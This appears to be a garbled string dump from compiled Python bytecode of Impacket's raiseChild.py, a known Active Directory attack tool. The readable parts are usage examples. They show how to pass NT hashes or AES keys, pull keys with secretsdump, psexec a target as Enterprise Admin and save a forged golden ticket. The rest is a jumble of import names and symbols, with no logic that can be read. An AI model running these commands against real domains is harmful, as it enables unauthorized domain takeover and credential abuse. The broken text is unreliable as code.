zF	python raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser
zS	or if you have the AES key (recommended for modern Windows Server 2019/2022/2025)
zI	python raiseChild.py -aesKey <hex_aes256_key> childDomain.net/adminuser
zA	or combine both - AES will be tried first, RC4 used as fallback
z_	python raiseChild.py -hashes LMHASH:NTHASH -aesKey <hex_aes256_key> childDomain.net/adminuser
z\	Note: AES keys can be obtained via: impacket-secretsdump -just-dc-user DOMAIN/username ...
zU	This will perform the attack and then psexec against target-exec as Enterprise AdminzH	python raiseChild.py -target-exec targetHost childDomain.net/adminuser
zW	This will perform the attack and then psexec against target-exec as User with RID 1101zX	python raiseChild.py -target-exec targetHost -targetRID 1101 childDomain.net/adminuser
zJ	This will save the final goldenTicket generated in the ccache target filez:	python raiseChild.py -w ccache childDomain.net/adminuser
rx   zDomain should be specified!zcmd.exezhTry using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issuer,  r  
error_codel   s    z%Account not found in domain. (RID:%s))
__future__r   r   argparser[  r   ry   r{   r   r   r  r   	threadingr   r   binasciir   r   socketr   structr	   sixr
   pyasn1ImportErrorr   r   impacketr   impacket.krb5.typesr   r   impacket.krb5r   impacket.krb5.kerberosv5r   r   r   impacket.krb5.asn1r   r   r   r   impacket.krb5.cryptor   r   r   impacket.dcerpc.v5.ndrr   impacket.dcerpc.v5.samrr   r   r   r   r   pyasn1.codec.derr    r!   pyasn1.type.univr"   impacket.examplesr#   impacket.examples.utilsr$   impacket.ntlmr&   r'   impacket.dcerpc.v5.dtypesr(   r)   impacket.dcerpc.v5.rpcrtr*   r+   impacket.dcerpc.v5.nrpcr,   r-   impacket.dcerpc.v5.lsatr.   r/   r0   r1   impacket.dcerpc.v5.lsadr2   r3   r4   impacket.krb5.pacr5   r6   r7   r8   r9   r:   r;   r<   impacket.dcerpc.v5r=   r>   r?   r@   r  rA   impacket.nt_errorsrB   rC   rD   impacket.structurerE   rF   rG   rI   rZ   r   r   r   r   r   r`   ra   r   r   r   r  r  r   r5  rS   r  BANNERArgumentParserparseradd_argumentadd_argument_groupr}  r   argv
print_help
parse_argsrK  inittsr   rJ  rH  no_passr   rC  rn   rm   r6  r~   commandstarget_execpacifierr  r   r   r  r   r^  r  r;  rW   rW   rW   rX   <module>   s  <

(
  l	      



(


